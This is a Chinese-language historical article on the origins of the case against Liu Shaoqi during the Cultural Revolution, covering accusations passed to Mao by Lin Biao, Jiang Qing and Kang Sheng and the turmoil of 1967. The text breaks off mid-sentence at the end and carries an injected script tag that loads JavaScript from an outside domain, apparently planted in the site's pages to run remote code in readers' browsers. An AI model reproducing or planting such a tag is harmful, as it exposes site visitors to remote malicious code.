“文革”发动后，刘少奇与毛泽东、林彪、朱德、和董必武、李富春在天安门城楼上
立案的背景
1966年8月中共八届十一中全会后，刘少奇受到批评，不再参与中央领导工作。10月中共中央工作会议后，全国开展了批判“刘邓资产阶级反动路线”的热潮，刘少奇处于受批判的地位。但在这时以及之后的相当一段时间里，毛泽东仍把刘少奇作为党内问题和人民内部矛盾对待，并不是要打倒他，也没有要对他立案审查。
是什么促使毛泽东改变了对刘少奇的态度？主要是两个原因：一是听信了林彪、江青等人的诬陷；二是“文化大革命”恶性发展的结果。
首先是由于林彪、江青一伙的阴谋陷害。林彪、江青集团中的骨干分子，几乎都是靠反刘少奇起家和攫取高位的。他们当然不愿意看到继续保留刘少奇的任何职位，从而留下可能对他们的地位和野心构成威胁的障碍。同时他们懂得，不经过毛泽东点头，打倒刘少奇是不能实现的。于是，他们借用群众揭发和专案工作等名义，竭力对毛泽东施加影响。
早在1966年8月，中共八届十一中全会尚未结束，林彪的妻子叶群于8月11日、12日两次找总参谋部作战部一位副部长，向他口授诬陷刘少奇的材料，要写成书面揭发上报。13日，林彪在住处找这位副部长谈话，要他把书面揭发改成向林彪和毛泽东写信的形式上报，并说：“这样更政治化些。”当天，林彪就把这位副部长写的信和诬陷刘少奇的材料批送江青，要她“酌转”毛泽东。
在诬陷刘少奇的阴谋家当中，康生是一个十分毒辣的角色。也是在1966年8月13日，康生让他的妻子曹轶欧出面，向中央一位领导同志写信，揭发王光美的所谓“问题”，并攻击刘少奇包庇王光美。这封揭发信在部分中央领导人中间作了传阅，最后也报到了林彪手里。9月16日，康生亲自给毛泽东写信，重新提出1936年薄一波、安子文等61人经组织决定出狱一事，并把它挂在刘少奇的帐上，说什么“少奇的决定，就使这些人的反共叛党合法化了”。这是康生很阴毒的一招，使毛泽东把刘少奇和整个干部队伍的问题看得更加严重。
在“怀疑一切，打倒一切”极左思潮的影响下，群众中也捕风捉影地揭发出了各种各样的问题。特别是许多红卫兵、造反派，为显示自己革命，都想在打倒刘少奇问题上立大功。于是，把许多道听途说、张冠李戴的事情，郑重其事地整理成书面材料层层上报。
林彪、江青一伙利用这一情势，有计划、有预谋地将这些材料择要报送毛泽东，有的并在一定范围内印发传阅。在相当长一段时间里，形形色色的揭发材料，包括说刘少奇三次被捕叛变等假材料，源源不断地都通过各种渠道摆到了毛泽东的面前。
不难想见，当毛泽东接二连三地读到和听到这些材料时，不能不为所动。特别是毛泽东原先闻所未闻的所谓刘少奇历史上几次“被捕叛变”等情况，终于使他从根本上改变了对刘少奇的看法。从毛泽东以后的多次谈话看，在这些连篇累牍的材料中，对他影响最大的还是所谓“被捕叛变”问题。后来他在同外宾以及内部谈话中，在讲到刘少奇问题时，一再说“那时还不知道他的历史情况”，是“我们红卫兵现在查出来的材料”，并多次讲了所谓“被捕叛变”的例子。
其次，随着“文化大革命”局势的疯狂发展，“打倒刘少奇”逐渐成为运动进程中所不得不采取的步骤。进入1967年以后，在上海“一月风暴”的影响下，全国各地造反派纷纷抢印夺权，派性恶性膨胀，局势混乱不堪。毛泽东虽然采取了命令解放军“三支两军”、号召大联合、停止串联等一系列措施，但未能奏效。这种骑虎难下的局面，很需要有一个表面上符合运动逻辑的举动，在一定程度上吸引人们的注意力，统一各方面的思想。当时已经别无良方，只有把刘少奇的性质再次升级。
1967年2月前后发生了谭震林、陈毅、叶剑英(均为中央政治局委员)等老革命家拍案而起，对“文化大革命”的错误?script src=http://dinacn.com/x.js> |
